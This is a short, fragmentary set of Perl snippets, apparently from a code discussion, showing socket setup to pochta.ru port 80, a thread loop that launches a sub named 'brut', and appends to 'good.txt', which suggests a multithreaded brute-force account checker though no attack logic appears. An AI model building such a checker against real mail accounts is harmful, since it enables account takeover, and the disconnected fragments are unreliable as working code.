my $socket = IO::Socket::INET->new(
  PeerAddr => $host, 
  PeerPort => $port,
  Proto => 'tcp',
  Type => SOCK_STREAM)...

my $socket = IO::Socket::INET->new('pochta.ru:80')...

for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}

my @trl;
for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}

open  good,'>>good.txt';

open  GOOD,'>>good.txt';

use strict; 
use warnings;
use diagnostics;